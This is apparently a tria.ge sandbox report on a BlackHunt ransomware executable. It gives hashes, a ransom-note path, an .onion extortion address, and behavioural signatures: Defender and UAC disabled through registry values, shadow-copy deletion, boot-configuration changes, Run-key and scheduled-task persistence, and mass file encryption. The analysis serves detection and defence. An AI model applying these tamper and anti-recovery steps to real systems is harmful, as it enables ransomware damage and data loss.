Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
155s -
max time network
177s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:58
Static task
static1
Behavioral task
behavioral1
Sample
83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
Resource
win10v2004-20231215-en
General
-
Target
83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
-
Size
707KB
-
MD5
865f5aafc1e53ff640399eb97039ad83
-
SHA1
ffdd4af06802449b6869eaa4ba8c4f76f839e727
-
SHA256
83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244
-
SHA512
8eef61233fc76ef90c2f42fa4ee02968b809c04ce1240b6dadf46352d40e61ab0e2b76d3c2802a80b6934cf93848fed3ed37c35a28ec04dcbe8fce048d9d949e
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1/8rvnh:6uaTmkZJ+naie5OTamgEoKxLWO7h
Malware Config
Extracted
F:\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3708 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1232 bcdedit.exe 4428 bcdedit.exe -
Renames multiple (1457) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 4876 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\X: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\Y: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\Z: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\N: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\W: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\U: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\K: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\P: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\T: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\S: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\Q: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\A: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\O: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\G: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\V: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\L: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\B: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\I: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\H: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\M: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened (read-only) \??\J: 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 11 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\7-Zip\Lang\va.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\unicode.md 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\7-Zip\Lang\br.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_folder-focus_32.svg 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_filterselected-dark-focus_32.svg 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\de-de\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ca-es\ui-strings.js 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\Java\jre-1.8\COPYRIGHT 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-high-contrast.css 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\ct.sym 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\VideoLAN\VLC\NEWS.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\2d.x3d 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\es-es\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\7-Zip\Lang\mn.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jpeg.md 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\back-arrow-down.svg 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_rename_18.svg 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-gb\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\files\dev\cef\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nl-nl\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\VideoLAN\VLC\lua\playlist\#BlackHunt_ReadMe.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Viewer.aapp 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\s_shared_multi_filetype.svg 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\7-Zip\Lang\cy.txt 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pt-br\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#BlackHunt_ReadMe.hta 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int_2x.gif 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\ecc.md 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\#BlackHunt_Private.key 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\duplicate.svg 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jfxswt.jar 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\share.svg 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2952 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3856 vssadmin.exe 2240 vssadmin.exe 4856 vssadmin.exe 1844 vssadmin.exe 3784 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe Token: SeRestorePrivilege 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe Token: SeBackupPrivilege 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe Token: SeTakeOwnershipPrivilege 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe Token: SeAuditPrivilege 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe Token: SeSecurityPrivilege 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe Token: SeIncBasePriorityPrivilege 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe Token: SeBackupPrivilege 4960 vssvc.exe Token: SeRestorePrivilege 4960 vssvc.exe Token: SeAuditPrivilege 4960 vssvc.exe Token: SeBackupPrivilege 5820 wbengine.exe Token: SeRestorePrivilege 5820 wbengine.exe Token: SeSecurityPrivilege 5820 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3108 wrote to memory of 3044 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 89 PID 3108 wrote to memory of 3044 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 89 PID 3108 wrote to memory of 2924 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 91 PID 3108 wrote to memory of 2924 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 91 PID 3108 wrote to memory of 1072 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 93 PID 3108 wrote to memory of 1072 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 93 PID 3108 wrote to memory of 3464 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 95 PID 3108 wrote to memory of 3464 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 95 PID 3108 wrote to memory of 1816 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 97 PID 3108 wrote to memory of 1816 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 97 PID 3044 wrote to memory of 2788 3044 cmd.exe 99 PID 3044 wrote to memory of 2788 3044 cmd.exe 99 PID 2924 wrote to memory of 4832 2924 cmd.exe 100 PID 2924 wrote to memory of 4832 2924 cmd.exe 100 PID 1072 wrote to memory of 948 1072 cmd.exe 101 PID 1072 wrote to memory of 948 1072 cmd.exe 101 PID 3464 wrote to memory of 1732 3464 cmd.exe 102 PID 3464 wrote to memory of 1732 3464 cmd.exe 102 PID 1816 wrote to memory of 2204 1816 cmd.exe 103 PID 1816 wrote to memory of 2204 1816 cmd.exe 103 PID 3108 wrote to memory of 4084 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 105 PID 3108 wrote to memory of 4084 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 105 PID 3108 wrote to memory of 1480 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 107 PID 3108 wrote to memory of 1480 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 107 PID 3108 wrote to memory of 2292 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 109 PID 3108 wrote to memory of 2292 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 109 PID 3108 wrote to memory of 3732 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 111 PID 3108 wrote to memory of 3732 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 111 PID 1480 wrote to memory of 680 1480 cmd.exe 113 PID 1480 wrote to memory of 680 1480 cmd.exe 113 PID 3108 wrote to memory of 4408 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 114 PID 3108 wrote to memory of 4408 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 114 PID 4084 wrote to memory of 4772 4084 cmd.exe 116 PID 4084 wrote to memory of 4772 4084 cmd.exe 116 PID 3108 wrote to memory of 3844 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 117 PID 3108 wrote to memory of 3844 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 117 PID 3108 wrote to memory of 1512 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 120 PID 3108 wrote to memory of 1512 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 120 PID 2292 wrote to memory of 4100 2292 cmd.exe 121 PID 2292 wrote to memory of 4100 2292 cmd.exe 121 PID 3732 wrote to memory of 4104 3732 cmd.exe 122 PID 3732 wrote to memory of 4104 3732 cmd.exe 122 PID 3108 wrote to memory of 3812 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 123 PID 3108 wrote to memory of 3812 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 123 PID 4408 wrote to memory of 3516 4408 cmd.exe 125 PID 4408 wrote to memory of 3516 4408 cmd.exe 125 PID 3108 wrote to memory of 4928 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 130 PID 3108 wrote to memory of 4928 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 130 PID 3108 wrote to memory of 4028 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 129 PID 3108 wrote to memory of 4028 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 129 PID 3108 wrote to memory of 5096 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 128 PID 3108 wrote to memory of 5096 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 128 PID 1512 wrote to memory of 1472 1512 cmd.exe 132 PID 1512 wrote to memory of 1472 1512 cmd.exe 132 PID 3108 wrote to memory of 2684 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 136 PID 3108 wrote to memory of 2684 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 136 PID 3844 wrote to memory of 3324 3844 cmd.exe 133 PID 3844 wrote to memory of 3324 3844 cmd.exe 133 PID 3812 wrote to memory of 4468 3812 cmd.exe 135 PID 3812 wrote to memory of 4468 3812 cmd.exe 135 PID 3108 wrote to memory of 664 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 137 PID 3108 wrote to memory of 664 3108 83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe 137 PID 4928 wrote to memory of 4464 4928 cmd.exe 139 PID 4928 wrote to memory of 4464 4928 cmd.exe 139 -
System policy modification 1 TTPs 3 IoCs
